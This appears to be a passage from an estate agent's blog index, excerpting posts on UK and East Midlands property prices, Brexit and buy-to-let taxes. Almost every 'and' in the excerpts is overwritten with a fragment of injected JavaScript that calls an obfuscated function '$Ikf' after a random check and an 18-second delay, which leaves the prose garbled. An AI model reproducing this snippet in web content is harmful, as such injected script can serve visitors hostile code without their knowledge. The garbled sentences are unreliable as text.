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As we indulge in our annual ritual of forecasting the next 12 months, we are reminded that predictions are only of use if we (the forecaster) have a good track record of forecasting! So, as usual, we’re going to kick things off by reviewing how our predictions performed last year, before giving our forecasts for…
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The residential property market as a whole, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and especially in the East Midlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands, has been remarkably resilient in 2020. We started the year expecting a 4% rise in prices (see our annual predictions in January), many others were a…
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There was no shock or horror for landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlords in yesterday’s Budget. Many were disappointed that stamp duty rates were not revised down, or tinkered with so that first time buyers were exempted; no such luck. However, we think more importantly there was a stop to the tax…
Read MoreSo you’ve read our property predications part 1 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and part 2, but now the answer to the eternal question- where should I buy an investment property? Osprey Sales & Lettings are THE go-to independant Agent, with offices IN the areas that we are knowledgable about andom() *…
Read MoreWe hope you enjoyed reading our 2017 Property Market Review andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Predictions Part 1- if you didn’t catch it then you can find it here. Part 1 was all about 2016, the predictions we made last year (andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how…
Read MoreA new year andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and apologies for the delay in getting this posted! Is it Brexit or is everyone busy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and time just seems to be flying by? As we indulge in our annual ritual of forecasting the 12 months…
Read MoreProperty prices were at the forefront of the EU debate in the run-up to the referendum, with the former Chancellor George Osborne claiming that the value of homes in the UK could fall by as much as 18% following a Brexit vote. Based on the average price of a home in the UK, this equates…
Read MoreThe result was a shock, the shock waves have spread. Everyone has an opinion or an educated guess on what will be the repercussions, here are ours; STOCK MARKET: The stock market has seen exceptional volatility. This reinforces the case for real estate investment, property is not a volatile asset class, in times of uncertainty there…
Read MoreThe chancellor’s aim was to take some heat out of the property market by introducing new tax measures on the buy to let sector. This strategy already seems to be working with a lull in the market now after the initial rush by investors to complete their purchases at the end of March before increased…
Read MoreThe East Midlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and property market benefits from: Fewer international investors seeking a safe haven (who have driven up prices disproportionately in London) Fewer buy to let investors relative to the housing stock Greater affordability; most importantly Less affected by international factors; foreign exchange prices, international economics all affect…
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